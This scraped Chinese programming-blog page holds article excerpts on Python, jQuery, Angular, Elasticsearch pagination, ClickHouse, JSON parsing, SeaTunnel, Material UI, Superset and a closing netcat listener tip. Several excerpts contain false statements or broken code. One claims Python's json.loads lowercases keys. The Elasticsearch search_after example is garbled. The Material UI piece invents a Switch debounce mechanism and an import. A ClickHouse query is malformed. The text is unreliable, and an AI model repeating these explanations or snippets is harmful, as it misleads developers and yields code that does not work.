...发布和更新,开发者在处理数字验证时拥有了更多高效、安全的选择。例如,除了文中提到的isdigit()、isnumeric()及isdecimal()函数外,Python引入了zoneinfo模块以支持国际化时间处理,这使得在处理包含日期、时间戳等混合型数字格式的用户输入时更为精准。 同时,在大型项目中,为确保代码健壮性,推荐使用类型注解(Type Annotations)配合库如typeguard进行更严格的输入校验。Python 3.8及以上版本强化了类型提示功能,可以有效预防因类型错误导致的运行时异常,尤其对于涉及复杂数字结构如numpy数组或pandas DataFrame的数据验证具有重要意义。 此外,针对Web开发场景下的用户输入验证,框架Django和Flask提供了内置的表单验证机制,能够自动检查并转换用户提交的数字信息,极大地提升了开发效率和用户体验。 总的来说,Python在数字处理与验证方面持续优化和发展,开发者应紧跟社区动态,充分利用新特性与最佳实践,以提升应用程序的安全性和稳定性。
2023-01-16 10:24:29
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软件工程师
JQuery
在深入理解了如何使用jQuery来控制radio按钮触发事件并获取选中值的基础上,进一步探讨JavaScript库在现代Web开发中的重要性和实际应用场景。近期,随着前端技术的飞速发展,诸如Vue.js、React和Angular等框架逐渐崭露头角,但jQuery因其易用性与广泛的浏览器兼容性,依然在许多项目中扮演着关键角色。 例如,在最近的一篇博客文章《Why jQuery Still Matters in Modern Web Development》中,作者详细分析了即使在众多新框架涌现的时代背景下,jQuery仍具有简化DOM操作、提供跨浏览器兼容解决方案以及对于初学者友好等显著优势。同时,文中还提到jQuery社区持续维护更新,确保其能够适应现代Web标准,并且能与新兴框架有效结合使用。 此外,jQuery UI等插件库为开发者提供了丰富的交互组件和效果,使得处理如dialog、tabs、滑动效果等功能变得更为便捷。在处理表单元素时,jQuery强大的事件处理机制不仅适用于radio按钮,还可应用于checkboxes、selects等多种控件,实现复杂的表单验证及联动效果。 不仅如此,jQuery还被广泛应用于数据交互领域,配合Ajax请求可以轻松实现实时数据加载与页面无刷新更新,大大提升了用户体验。因此,掌握jQuery在控制radio按钮以及其他DOM元素方面的技巧,对于任何级别的Web开发者来说都是一项不可忽视的基本技能。
2023-02-15 20:20:10
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软件工程师
AngularJS
...submit指令的使用及其可能出现的问题后,我们进一步探讨现代前端开发中的表单处理实践。随着Angular框架的不断迭代更新,Angular(即Angular 2+)对表单处理提供了更为强大且灵活的支持。例如,Angular采用了响应式表单和模板驱动表单两种模式,允许开发者根据项目需求选择最适合的方案。 近期,Angular团队发布了Angular 13版本,其中对表单控件和验证机制进行了优化升级,新增了对可访问性规范的严格遵循以及更细致的错误提示,从而帮助开发者更好地处理表单提交行为异常,提高用户体验。同时,Angular Material库也同步更新了一系列UI组件,为表单设计与交互提供了丰富的、符合Material Design规范的选择。 此外,在实际项目中,如何结合最新的前端安全策略来防止XSS攻击和CSRF攻击也是表单提交时不可忽视的一环。开发者应确保在表单数据提交前后进行有效的验证与清理,并合理利用Angular提供的依赖注入和HTTP服务模块来进行安全的数据交互。 综上所述,掌握Angular(包括AngularJS及后续版本)中表单处理的最佳实践,不仅能够有效避免类似ngsubmit异常这样的问题,更能助力开发者构建出高效稳定、安全易用的现代Web应用。
2023-11-13 22:15:25
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寂静森林-t
AngularJS
...你正在创建一个简单的表单,包含一个文本框和一个显示用户输入的标签。在AngularJS中,只需几行代码就能实现这个功能: html { { message } } 在这个例子中,ng-model指令将文本框的值绑定到控制器中的message变量。当你在输入框里潇洒地敲下每个字,嘿,立马的,message这块区域就会跟上你的节奏,实时地显示出你的新鲜输入,而那个标签就像是个小灵通,秒秒钟同步更新!这就是双向数据绑定的魔力! 四、双向数据绑定的优势 1. 减少代码量 不需要额外的事件监听器来处理数据同步,大大简化了代码。 2. 易于维护 当数据源发生变化时,视图会自动更新,降低了出错的可能性。 3. 用户体验 用户看到的数据即时响应,提高了交互的流畅度。 五、双向数据绑定的注意事项 然而,尽管双向数据绑定带来了很多便利,但也需要注意一些潜在问题: - 性能:大量的双向绑定可能会增加浏览器的负担,尤其是在大型应用中。 - 复杂性:对于复杂的场景,过度依赖双向绑定可能导致难以追踪的问题,需要谨慎使用。 六、总结与进阶 双向数据绑定是AngularJS的灵魂之一,它让前端开发变得更直观、高效。掌握这一技巧后,你可以更好地利用AngularJS构建动态且易于维护的应用。当然啦,继续探索AngularJS的隐藏宝石,比如那些酷炫的指令、灵活的服务和模块化设计,你的编程冒险旅程会变得更加刺激有趣! 在实际项目中,不断地实践和探索,你会发现自己对AngularJS的理解更加深入,也能更好地驾驭这个强大的工具。祝你在AngularJS的世界里,开发出令人惊叹的Web应用!
2024-06-09 11:23:23
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时光倒流
Struts2
...terator标签处理集合数据的灵活性之后,进一步了解现代Web开发框架如何优化数据处理和展示方式至关重要。近期,Spring Framework 5.3版本引入了全新的“Thymeleaf”模板引擎增强功能,它提供了更为简洁直观的语法来遍历和操作集合数据,比如使用th:each标签进行迭代,结合表达式计算能力,能够实现更复杂的数据绑定和条件渲染。 此外,随着前端技术的飞速发展,诸如React、Vue等现代化JavaScript框架也逐渐成为处理后端传递集合数据的主流选择。它们通过组件化的设计模式以及虚拟DOM的高效更新机制,使得开发者可以便捷地对集合数据进行动态渲染与交互,如Vue.js中的v-for指令便能轻松实现列表遍历与状态管理。 不仅如此,对于大数据量的场景,为提升用户体验,分页技术和懒加载策略的应用也越来越普遍。例如,Apache Struts2已支持与众多第三方分页插件集成,而新兴的GraphQL查询语言则从API层面对数据获取进行了革新,允许客户端精确指定需要的数据字段及数量,从而有效减少网络传输负载并提高性能。 总之,无论是在传统Java Web开发框架还是现代前端技术领域,处理集合数据的方式正持续演进,开发者应关注最新技术动态,结合实际需求灵活运用各种工具与方案,以提升开发效率和用户体验。
2023-01-03 18:14:02
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追梦人
ElasticSearch
...中,我们经常会遇到要处理海量数据并进行分页展示的情况,这时候,Elasticsearch 提供的这个叫 search_after 的参数就派上大用场啦。 一、什么是 search_after 参数 search_after 参数是 Elasticsearch 5.0 版本引入的一个新的分页方式,它允许我们在前一页的基础上,根据排序字段的值获取下一页的结果。search_after 参数的核心思想是在每一页查询结束时,记录下最后一条记录的排序字段值,并将这个值作为下一页查询的开始点,以此类推,直到达到我们需要的分页数量为止。 二、为什么需要使用 search_after 参数 使用传统的 from + size 方式进行分页,如果数据量很大,那么每一页都需要加载所有满足条件的记录到内存中,这样不仅消耗了大量的内存,而且会导致 CPU 资源的浪费。用 search_after 参数来实现分页的话,操作起来就像是这样:只需要轻轻拽住满足条件的最后一项记录,就能嗖地一下翻到下一页的结果。这样做,就像给内存和CPU减负瘦身一样,能大大降低它们的工作压力和损耗。 三、如何使用 search_after 参数 使用 search_after 参数非常简单,我们只需要在 Search API 中添加 search_after 参数即可。例如,如果我们有一个商品列表,我们想要获取第一页的商品列表,我们可以这样做: bash GET /products/_search { "from": 0, "size": 10, "sort": [ { "name": { "order": "asc" } } ], "search_after": [ { "name": "Apple" } ] } 在这个查询中,我们设置了 from 为 0,size 为 10,表示我们要获取第一页的商品列表,排序字段为 name,排序顺序为升序,最后,我们设置了 search_after 参数为 {"name": "Apple"},表示我们要从名为 Apple 的商品开始查找下一页的结果。 四、实战示例 为了更好地理解和掌握 search_after 参数的使用,我们来看一个实战示例。想象一下,我们运营着一个用户评论平台,现在呢,我们特别想瞅瞅用户们最新的那些精彩评论。不过,这里有个小插曲,就是这评论数量实在多得惊人,所以我们没法一股脑儿全捞出来看个遍哈。这时,我们就需要使用 search_after 参数来进行深度分页。 首先,我们需要创建一个 user_comment 文档类型,包含用户 id、评论内容和评论时间等字段。然后,我们可以编写如下的代码来获取最新的用户评论: python from datetime import datetime import requests 设置 Elasticsearch 的地址和端口 es_url = "http://localhost:9200" 创建 Elasticsearch 集群 es = Elasticsearch([es_url]) 获取最新的用户评论 def get_latest_user_comments(): 设置查询参数 params = { "index": "user_comment", "body": { "query": { "match_all": {} }, "sort": [ { "created_at": { "order": "desc" } } ], "size": 1, "search_after": [] } } 获取第一条记录 response = es.search(params) if not response["hits"]["hits"]: return [] 记录最后一条记录的排序字段值 last_record = response["hits"]["hits"][0] search_after = [last_record["_source"]["id"], last_record["_source"]["created_at"]] 获取下一条记录 while True: params["body"]["size"] += 1 params["body"]["search_after"] = search_after response = es.search(params) 如果没有更多记录,则返回所有记录 if not response["hits"]["hits"]: return [hit["_source"] for hit in response["hits"]["hits"]] else: last_record = response["hits"]["hits"][0] search_after = [last_record["_source"]["id"], last_record["_source"]["created_at"]] 在这段代码中,我们首先设置了一个空的 search_after 列表,然后执行了一次查询,获取了第一条记录,并将其存储在 last_record 变量中。接着,我们将 last_record 中的 id 和 created_at 字段的值添加到 search_after 列表中,再次执行查询,获取下一条记录。如此反复,直到获取到我们需要的所有记录为止。 五、总结 search_after 参数是 Elasticsearch 5.0 版本引入的一个新的分页方式,它可以让我们在每一页查询结束时,记录下最后一条记录的排序字段值,并将这个值作为下一页查询的开始点,以此类推广多获取我们需要的分页数量为止。这种方法不仅可以减少内存和 CPU 的消耗,而且还能够提高查询的效率,是一个非常值得使用的分页方式。
2023-03-26 18:17:46
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人生如戏-t
ClickHouse
一、引言 当你需要处理海量实时数据时,你会选择哪种工具?ClickHouse可能是一个不错的选择。它是一个开源分布式列式数据库系统,专为大规模的数据分析而设计。本文将探讨如何在ClickHouse中实现高效的实时数据流处理。 二、ClickHouse简介 ClickHouse是Yandex开发的一个高性能列存储查询引擎,用于在线分析处理(OLAP)。它的最大亮点就是速度贼快,能够瞬间处理海量数据,而且超级贴心,支持多种查询语言,SQL什么的都不在话下。 三、实时数据流处理的重要性 实时数据流处理是指对实时生成的数据进行及时处理,以便于用户能够获取到最新的数据信息。这对于许多实际的业务操作而言,那可是相当关键的呢,比如咱平时的金融交易啦,还有电商平台给你推荐商品这些场景,都离不开这个重要的因素。 四、ClickHouse的实时数据流处理能力 ClickHouse能够高效地处理实时数据流,其主要原因在于以下几个方面: 1. 列式存储 ClickHouse采用列式存储方式,这意味着每一列数据都被独立存储,这样可以大大减少磁盘I/O操作,从而提高查询性能。 2. 分布式架构 ClickHouse采用分布式架构,可以在多台服务器上并行处理数据,进一步提高了处理速度。 3. 内存计算 ClickHouse支持内存计算,这意味着它可以将数据加载到内存中进行处理,避免了频繁的磁盘I/O操作。 五、如何在ClickHouse中实现高效的实时数据流处理? 下面我们将通过一些具体的示例来讲解如何在ClickHouse中实现高效的实时数据流处理。 1. 数据导入 首先,我们需要将实时数据导入到ClickHouse中。这其实可以这么办,要么直接用ClickHouse的客户端进行操作,要么选择其他你熟悉的方式实现,就像我们平常处理问题那样,灵活多变,总能找到适合自己的路径。例如,我们可以通过以下命令将CSV文件中的数据导入到ClickHouse中: sql CREATE TABLE my_table (id UInt32, name String) ENGINE = MergeTree() ORDER BY id; INSERT INTO my_table SELECT toUInt32(number), format('%.3f', number) FROM system.numbers LIMIT 1000000; 这个例子中,我们首先创建了一个名为my_table的表,然后从system.numbers表中选择了前一百万个数字,并将它们转换为整型和字符串类型,最后将这些数据插入到了my_table表中。 2. 实时查询 接下来,我们可以使用ClickHouse的实时查询功能来处理实时数据。例如,我们可以通过以下命令来查询my_table表中的最新数据: sql SELECT FROM my_table ORDER BY id DESC LIMIT 1; 这个例子中,我们首先按照id字段降序排列my_table表中的所有数据,然后返回排名最高的那条数据。 3. 实时聚合 除了实时查询之外,我们还可以使用ClickHouse的实时聚合功能来处理实时数据。例如,我们可以通过以下命令来统计my_table表中的数据数量: sql SELECT count(), sum(id) FROM my_table GROUP BY id ORDER BY id; 这个例子中,我们首先按id字段对my_table表中的数据进行分组,然后统计每组的数量和id总和。 六、总结 通过以上的内容,我们可以看出ClickHouse在处理实时数据流方面具有很大的优势。无论是数据导入、实时查询还是实时聚合,都可以通过ClickHouse来高效地完成。如果你现在正琢磨着找一个能麻溜处理实时数据的神器,那我跟你说,ClickHouse绝对值得你考虑一下。它在处理实时数据流方面表现可圈可点,可以说是相当靠谱的一个选择!
2024-01-17 10:20:32
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秋水共长天一色-t
JSON
...八方的数据时,比如说处理API请求或用户填的表单啥的。 想象一下,你正在开发一款应用,需要从服务器获取一些数据,这些数据可能是通过API返回的。不过嘛,服务器那边可能有其他的程序员在维护,他们的大小写风格可能会跟你不一样,给字段起的名字也会有所不同。如果我们解析器的本事不够强,那我们就得不停地改代码,来迁就各种奇葩的命名规矩。这听上去是不是挺麻烦的?所以,知道并用上JSON解析时的大小写不敏感特性,就能让我们的工作轻松不少。 2. JSON的基本概念 在深入讨论之前,先简单回顾一下什么是JSON。JSON(JavaScript Object Notation)是一种轻量级的数据交换格式。它基于JavaScript的一个子集,但实际上几乎所有的编程语言都有库支持JSON解析和生成。 示例1:基本的JSON对象 json { "name": "张三", "age": 28, "is_student": false, "hobbies": ["阅读", "编程", "旅行"] } 在这个简单的例子中,我们可以看到一个包含字符串、数字、布尔值和数组的对象。每个键都是一个字符串,并且它们之间是区分大小写的。不过呢,当我们解析这个JSON时,解析器通常会把键的大小写统统忽略掉,直接给它们统一成小写。 3. 解析器如何处理大小写 现在,让我们来看看具体的解析过程。现在大部分编程语言都自带了超级好用的JSON解析工具,用它们来处理JSON数据时,根本不用操心大小写的问题,特别省心。它们会将所有键转换为一种标准形式,通常是小写。这就表示,就算你开始时在原始的JSON里用了大写或大小写混用,最后这些键还是会自动变成小写。 示例2:大小写不敏感的解析 假设我们有以下JSON数据: json { "Name": "李四", "AGE": 35, "Is_Student": true, "Hobbies": ["足球", "音乐"] } 如果我们使用Python的json库来解析这段数据: python import json data = '{"Name": "李四", "AGE": 35, "Is_Student": true, "Hobbies": ["足球", "音乐"]}' parsed_data = json.loads(data) print(parsed_data) 输出将是: python {'name': '李四', 'age': 35, 'is_student': True, 'hobbies': ['足球', '音乐']} 可以看到,所有的键都被转换成了小写。这就意味着我们在后面处理数据的时候,可以更轻松地找到这些键,完全不需要担心大小写的问题。 4. 实际开发中的应用 理解了这个特性之后,我们在实际开发中应该如何应用呢?首先,我们需要确保我们的代码能够正确处理大小写不同的情况。比如说,在拿数据的时候,咱们最好每次都确认一下键名是不是小写,别直接用固定的大小写硬来。 示例3:处理大小写不一致的情况 假设我们有一个函数,用于从用户输入的JSON数据中提取姓名信息: python def get_name(json_data): data = json.loads(json_data) return data.get('name') or data.get('NAME') or data.get('Name') 测试 json_input1 = '{"name": "王五"}' json_input2 = '{"NAME": "赵六"}' json_input3 = '{"Name": "孙七"}' print(get_name(json_input1)) 输出: 王五 print(get_name(json_input2)) 输出: 赵六 print(get_name(json_input3)) 输出: 孙七 在这个例子中,我们通过get方法尝试获取三个可能的键名('name'、'NAME'、'Name'),确保无论用户输入的JSON数据中使用哪种大小写形式,我们都能正确提取到姓名信息。 5. 结论与思考 通过今天的讨论,我们了解到JSON解析中的大小写不敏感特性是一个非常有用的工具。它可以帮助我们减少因大小写不一致带来的错误,提高代码的健壮性和可维护性。当然,这并不意味着我们可以完全把大小写的事儿抛在脑后,而是说我们应该用更灵活的方式去应对它们。 希望这篇文章能帮助你更好地理解和利用这一特性。如果你有任何疑问或者想法,欢迎在评论区留言交流。咱们下次再见!
2025-01-13 16:02:04
18
诗和远方
SeaTunnel
...1. 引言 在大数据处理领域,SeaTunnel(原名Waterdrop)是一款强大的实时与批处理数据集成工具。它有个超级实用的插件系统,这玩意儿灵活多样,让我们轻轻松松就能搞定各种乱七八糟、复杂难搞的数据处理任务,就像是给我们的工具箱装上了一整套瑞士军刀,随时应对各种挑战。本文将带你深入了解如何在SeaTunnel中自定义Transform插件,并将其成功应用于实际项目中。 2. 理解SeaTunnel Transform插件 Transform插件是SeaTunnel中的重要组成部分,它的主要功能是对数据流进行转换操作,如清洗、过滤、转换字段格式等。这些操作对于提升数据质量、满足业务需求至关重要。试想一下,你现在手头上有一堆数据,这堆宝贝只有经过特定的逻辑运算才能真正派上用场。这时候,一个你自己定制的Transform小插件,就变得超级重要,就像解锁宝箱的钥匙一样关键喏! 3. 自定义Transform插件步骤 3.1 创建插件类 首先,我们需要创建一个新的Java类来实现com.github.interestinglab.waterdrop.plugin.transform.Transform接口。以下是一个简单的示例: java import com.github.interestinglab.waterdrop.plugin.transform.Transform; public class CustomTransformPlugin implements Transform { // 初始化方法,用于设置插件参数 @Override public void init() { // 这里可以读取并解析用户在配置文件中设定的参数 } // 数据转换方法,对每一条记录执行转换操作 @Override public DataRecord transform(DataRecord record) { // 获取原始字段值 String oldValue = record.getField("old_field").asString(); // 根据业务逻辑进行转换操作 String newValue = doSomeTransformation(oldValue); // 更新字段值 record.setField("new_field", newValue); return record; } private String doSomeTransformation(String value) { // 在这里编写你的自定义转换逻辑 // ... return transformedValue; } } 3.2 配置插件参数 为了让SeaTunnel能识别和使用我们的插件,需要在项目的配置文件中添加相关配置项。例如: yaml transform: - plugin: "CustomTransformPlugin" 插件自定义参数 my_param: "some_value" 3.3 打包发布 完成代码编写后,我们需要将插件打包为JAR文件,并将其放入SeaTunnel的插件目录下,使其在运行时能够加载到相应的类。 4. 应用实践及思考过程 在实际项目中,我们可能会遇到各种复杂的数据处理需求,比如根据某种规则对数据进行编码转换,或者基于历史数据进行预测性计算。这时候,我们就能把自定义Transform插件的功能发挥到极致,把那些乱七八糟的业务逻辑打包成一个个能反复使的组件,就像把一团乱麻整理成一个个小线球一样。 在这个过程中,我们不仅要关注技术实现,还要深入理解业务需求,把握好数据转换的核心逻辑。这就像一位匠人雕刻一件艺术品,每个细节都需要精心打磨。SeaTunnel的Transform插件设计,就像是一个大舞台,它让我们有机会把那些严谨认真的编程逻辑和对业务深入骨髓的理解巧妙地糅合在一起,亲手打造出一款既高效又实用的数据处理神器。 总结起来,自定义SeaTunnel Transform插件是一种深度定制化的大数据处理方式,它赋予了我们无限可能,使我们能够随心所欲地驾驭数据,创造出满足个性化需求的数据解决方案。只要我们把这门技能搞懂并熟练掌握,无论是对付眼前的问题,还是应对未来的挑战,都能够更加淡定自若,游刃有余。
2023-07-07 09:05:21
345
星辰大海
Material UI
...erial UI 在处理用户交互时使用了一种称为 "debounce" 的策略。 2.1 debounce 策略 简单来说,"debounce" 是一种防止函数过度调用的技术。当一个事情老是发生个不停,如果我们每次都巴巴地跑去执行对应的函数,那这函数就会被疯狂call起来,这样一来,系统资源就像流水一样哗哗流走,消耗得可厉害了。用上 debounce 这个神器,我们就能让函数变得乖巧起来,在一段时间内,它只执行一次,就一次,这样一来,咱们就能轻轻松松解决函数被频繁调用到“疯狂”的问题啦! 在 Material UI 中,当我们切换 Switch 开关组件的状态时,这个操作会被转换成一个函数,并且这个函数会被添加到一个队列中。然后,Material UI 就会对这个队列中的所有函数进行批量处理。换句话说,它会先耐心地等一小会儿,这个“一会儿”通常是指300毫秒。然后,它再一股脑儿把队列里堆积的所有函数都执行完毕,就像我们一口气把所有任务都解决掉那样。这就解释了为啥我们在拨动 Switch 开关时,会感觉到那么一丢丢延迟的现象。 3. 如何解决 了解了问题的原因之后,我们就能够找到相应的解决方案了。总的来说,有以下几种方法可以用来解决 Switch 开关组件的状态更新延迟问题: 3.1 不使用 debounce 如果我们的应用程序不需要过于复杂的响应逻辑,或者我们对性能的要求不高,那么我们可以选择不使用 debounce。这样一来,每当用户拨动 Switch 开关组件换个状态时,咱们就能立马触发相应的函数响应,这样一来,延迟什么的就彻底说拜拜啦! jsx import { Switch } from '@material-ui/core'; const MyComponent = () => { const [isOn, setIsOn] = React.useState(false); const handleToggle = (event) => { setIsOn(!isOn); }; return ( ); }; 在这个例子中,每当用户切换 Switch 开关组件的状态时,handleToggle 函数就会立即被触发,并且 isOn 的值也会立即被更新。 3.2 调整 debounce 时间 如果我们确实需要使用 debounce,但是又不想让它造成太大的延迟,那么我们可以调整 debounce 的时间。在使用Material UI时,我们可以拽一个叫unstable DebounceInput的宝贝进来,它会带个debounce函数作为礼物。然后,咱们可以根据实际需要,像调校咖啡机那样灵活调整这个函数的参数,让它恰到好处地工作。 jsx import { Switch } from '@material-ui/core'; import unstable_DebounceInput from '@material-ui/unstyled/DebounceInput'; const MyComponent = () => { const [isOn, setIsOn] = React.useState(false); const handleToggle = (event) => { setIsOn(!isOn); }; return ( value={isOn} onValueChange={(value) => setIsOn(value)} msDelay={50} > ); }; 在这个例子中,我们将 debounce 的时间设置为了 50 毫秒,这意味着每次用户切换 Switch 开关组件的状态时,对应的函数只会被延迟 50 毫秒就被执行。 3.3 使用其他库 最后,如果我们无法接受 Material UI 提供的 debounce 处理方案,那么我们可以考虑使用其他的库来替代。比如,我们可以动手用 mobx-state-tree 这个神器来搭建一个超级给力的状态管理器,然后在这个状态管理器里头,给 Switch 开关组件量身定制它的状态变化规律。 总结起来,虽然 Material UI 中 Switch 开关组件的状态更新存在一定的延迟,但是只要我们掌握了相应的解决方案,就完全可以在不影响用户体验的情况下满足各种需求。
2023-06-06 10:37:53
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落叶归根-t
Superset
...rd" 四、使用Superset发送邮件通知 一旦你设置了SMTP服务器,你就可以在Superset中创建邮件通知了。以下是一个简单的示例: python from superset import db, security_manager from flask_appbuilder.models.sqla.interface import SQLAInterface from sqlalchemy.orm import sessionmaker db.session.execute("INSERT INTO email_alert_recipients (alert_type, email) VALUES ('some alert', 'someone@example.com')") security_manager.add_email_alert("some alert", "some description") db.session.commit() class EmailAudit(SQLAInterface): __tablename__ = "email_audit" id = db.Column(db.Integer, primary_key=True) alert_type = db.Column(db.String(255), nullable=False) email_sent = db.Column(db.Boolean, nullable=False) email_address = db.Column(db.String(255), nullable=False) audit_model = EmailAudit.__table__ session = sessionmaker(bind=db.engine)() session.execute( audit_model.insert(), [ {"alert_type": "some alert", "email_sent": False, "email_address": "someone@example.com"}, ], ) session.commit() 在这个示例中,我们首先创建了一个名为 email_alert_recipients 的数据库表,该表包含了我们要发送邮件的通知类型和接收者的邮箱地址。 然后,我们创建了一个名为 EmailAudit 的模型,该模型将用于跟踪邮件是否已被发送。这个模型里头有个字段叫 email_sent,你可把它想象成个邮筒上的小旗子。当我们顺利把邮件“嗖”地一下送出去了,就立马把这个小旗子立起来,标记为True,表示这封邮件已经成功发送啦! 最后,我们调用 security_manager.add_email_alert 方法来创建一个新通知,并将其关联到 EmailAudit 模型。 以上就是在Superset中设置SMTP服务器以及使用Superset发送邮件通知的基本步骤。经过这些个步骤,你就能轻轻松松地在Superset上和大伙儿分享你的新发现和独到见解啦!
2023-10-01 21:22:27
61
蝶舞花间-t
站内搜索
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知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
nc -l 8080
- 开启一个监听8080端口的简单网络服务器。
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